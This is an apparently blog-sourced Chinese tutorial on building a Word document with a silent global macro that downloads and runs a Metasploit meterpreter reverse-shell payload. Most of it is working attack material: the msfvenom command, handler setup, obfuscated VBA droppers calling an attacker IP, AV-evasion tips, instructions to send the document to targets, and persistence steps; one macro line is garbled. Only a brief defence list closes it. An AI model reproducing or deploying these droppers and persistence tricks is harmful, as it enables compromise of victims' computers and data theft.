利用MsWord静默宏进行权限维持
字数 1055 2025-08-26 22:11:56

利用MsWord静默宏进行权限维持技术详解

0x00 环境准备

攻击机配置

  • 操作系统:Ubuntu
  • 工具:
    • Metasploit Framework
    • Python SimpleHTTPServer

靶机要求

  • 操作系统:Windows 10
  • 软件:Microsoft Word(支持宏的任何版本)

0x01 生成木马文件

使用msfvenom生成反向TCP连接的meterpreter payload:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.101.112.222 lport=4144 -a x86 -f exe > /var/tmp/Twe1ve.exe

参数说明:

  • -p:指定payload类型
  • lhost:攻击机IP
  • lport:监听端口
  • -a x86:32位架构
  • -f exe:输出格式为exe

0x02 开启HTTP服务

在攻击机上启动SimpleHTTPServer:

cd /var/tmp
python -m SimpleHTTPServer 8000

这样靶机可以通过http://10.101.112.222:8000/Twe1ve.exe下载木马文件。

0x03 设置监听

在Metasploit中配置监听:

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.101.112.222
set LPORT 4144
exploit

0x04 制作静默宏文档

关键步骤

  1. 新建.docx文档:使用docx格式而非docm,可绕过部分AV检测

  2. 启用开发者工具

    • 文件 → 选项 → 自定义功能区
    • 主选项卡 → 勾选"开发者工具"
  3. 创建宏

    • 在开发者工具中点击"宏"
    • 关键点1:宏位置选择"全局"(所有活动模板和文档)
    • 关键点2:代码必须放在"Nomal"的"This Document"模块

宏代码

Private Declare PtrSafe Function pznHypDNww _
Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal jVwSfubsfjIw As Long, ByVal uoGDZwUbWil As String, _
 ByVal AVWhqlOexRkfTAI As String, _
 ByVal JHMxrycpoEILCc As Long, ByVal rkTBDYBFT As Long) _
 As Long

Private Declare PtrSafe Function DoIT Lib "shell32.dll" _
Alias "ShellExecuteA" (ByVal eyMzmMjiKrJvzYzKEWTqMl As Long, ByVal dYlBQm As String, _
ByVal ZjGBfhNinvlQZZXdA As String, ByVal HOtFFUYcTsHAk As String, ByVal RUpRVk As String, _
ByVal gPdCCemybuZxPpPbU As Long) As Long

Private Sub Document_Close()
End Sub

Private Sub Document_Open()
VvXCAiWri
End Sub

Sub nWtd()
Dim otqBShpqzXRvxekDL As String, Bhcdbg As String, QXfvVVlce As String
Bhcdbg = "server.exe[2]"
QXfvVVlce = Environ$("tmp[1]Bhcdbg
otqBShpqzXRvxekDL = "http://10.101.112.200:8000/server.exe[3]"
tEJGRjkFGPoU otqBShpqzXRvxekDL, QXfvVVlce
End Sub

Sub VvXCAiWri()
Dim YmxgfSSuCOrKqNgs As Integer
Dim geXqnJ As String
YmxgfSSuCOrKqNgs = 3
geXqnJ = "osumLoSDznHypDNwwjVwSf"
nWtd
End Sub

Sub tEJGRjkFGPoU(ByVal yNuATc, b As String)
pznHypDNww 0, yNuATc, b, 0, 0
DoIT 0, "open", b, "", vbNullString, vbNormalFocus
End Sub

Private Sub Document_XMLAfterInsert(ByVal NewXMLNode As XMLNode, ByVal InUndoRedo As Boolean)
End Sub

代码说明:

  • [1]:下载文件到指定目录(如C:\Windows\Temp)
  • [2]:下载的exe文件重命名
  • [3]:可执行文件下载地址

保存技巧

  1. 文档需要填充一些正常内容(可嵌入到正常word文档中)
  2. 保存为.docx格式

0x05 攻击实施

  1. 将制作好的word文档发送给目标
  2. 目标打开文档时,宏自动执行,下载并运行木马
  3. 攻击机收到meterpreter会话

0x06 替代方案(高检测率)

对于宏安全设置较高的环境,可使用传统方法:

  1. 文件格式:.doc
  2. 宏位置:当前文档
  3. 需要用户点击"启用内容"
Sub AutoOpen()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "http://10.101.112.222:8000/server.exe", False
xHttp.Send

With bStrm
.Type = 1
.Open
.Write xHttp.responseBody
.savetofile "server.exe", 2
End With

Shell ("server.exe")
End Sub

0x07 权限维持技巧

关键点3:全局宏只能在本地制作并生效,但可以用于权限维持:

  1. 在目标机器上创建全局宏的docx文件
  2. 将文件放置在管理员不常访问的位置
  3. 任何word文档打开时都会调用该全局宏

0x08 常见问题解决

如果出现word异常,可创建清理脚本:

@echo off
color 07
@ ECHO ECHO 打开WORD文档出错提示:
@ ECHO ECHO Microsoft Office Word 遇到问题需要关闭。我们对此引起的不便表示抱歉。您正在处理的信息有可能丢失。Microsoft Office Word 可以尝试为您恢复。
@ ECHO ECHO 系统询问是否要发送错误报告,不论选择哪一个,循环重启Word,重复出现相同警告对话框。之后出现"安全模式启动WORD",点确定,出现的WORD空白。
@ ECHO echo 注意:请先关闭所有Word文档程序,按任意键开始修复......
@ ECHO pause>nul

del /f /s /q "%userprofile%\local settings\temp\*.*" 
del /f /s /q "%appdata%\microsoft\Templates\*.dot" 
del /f /s /q "%appdata%\microsoft\Word\Startup\*.dot" 
start winword

color 07
@ ECHO ECHO BAT程序执行完毕,请按任意键退出...
@ ECHO pause>nul

0x09 防御措施

  1. 禁用office宏执行
  2. 使用高级威胁防护(ATP)解决方案
  3. 限制word文档从互联网下载文件
  4. 定期检查全局宏模板
  5. 使用最新版office并保持更新
利用MsWord静默宏进行权限维持技术详解 0x00 环境准备 攻击机配置 操作系统:Ubuntu 工具: Metasploit Framework Python SimpleHTTPServer 靶机要求 操作系统:Windows 10 软件:Microsoft Word(支持宏的任何版本) 0x01 生成木马文件 使用msfvenom生成反向TCP连接的meterpreter payload: 参数说明: -p :指定payload类型 lhost :攻击机IP lport :监听端口 -a x86 :32位架构 -f exe :输出格式为exe 0x02 开启HTTP服务 在攻击机上启动SimpleHTTPServer: 这样靶机可以通过 http://10.101.112.222:8000/Twe1ve.exe 下载木马文件。 0x03 设置监听 在Metasploit中配置监听: 0x04 制作静默宏文档 关键步骤 新建.docx文档 :使用docx格式而非docm,可绕过部分AV检测 启用开发者工具 : 文件 → 选项 → 自定义功能区 主选项卡 → 勾选"开发者工具" 创建宏 : 在开发者工具中点击"宏" 关键点1 :宏位置选择"全局"(所有活动模板和文档) 关键点2 :代码必须放在"Nomal"的"This Document"模块 宏代码 代码说明: [1] :下载文件到指定目录(如C:\Windows\Temp) [2] :下载的exe文件重命名 [3] :可执行文件下载地址 保存技巧 文档需要填充一些正常内容(可嵌入到正常word文档中) 保存为.docx格式 0x05 攻击实施 将制作好的word文档发送给目标 目标打开文档时,宏自动执行,下载并运行木马 攻击机收到meterpreter会话 0x06 替代方案(高检测率) 对于宏安全设置较高的环境,可使用传统方法: 文件格式:.doc 宏位置:当前文档 需要用户点击"启用内容" 0x07 权限维持技巧 关键点3 :全局宏只能在本地制作并生效,但可以用于权限维持: 在目标机器上创建全局宏的docx文件 将文件放置在管理员不常访问的位置 任何word文档打开时都会调用该全局宏 0x08 常见问题解决 如果出现word异常,可创建清理脚本: 0x09 防御措施 禁用office宏执行 使用高级威胁防护(ATP)解决方案 限制word文档从互联网下载文件 定期检查全局宏模板 使用最新版office并保持更新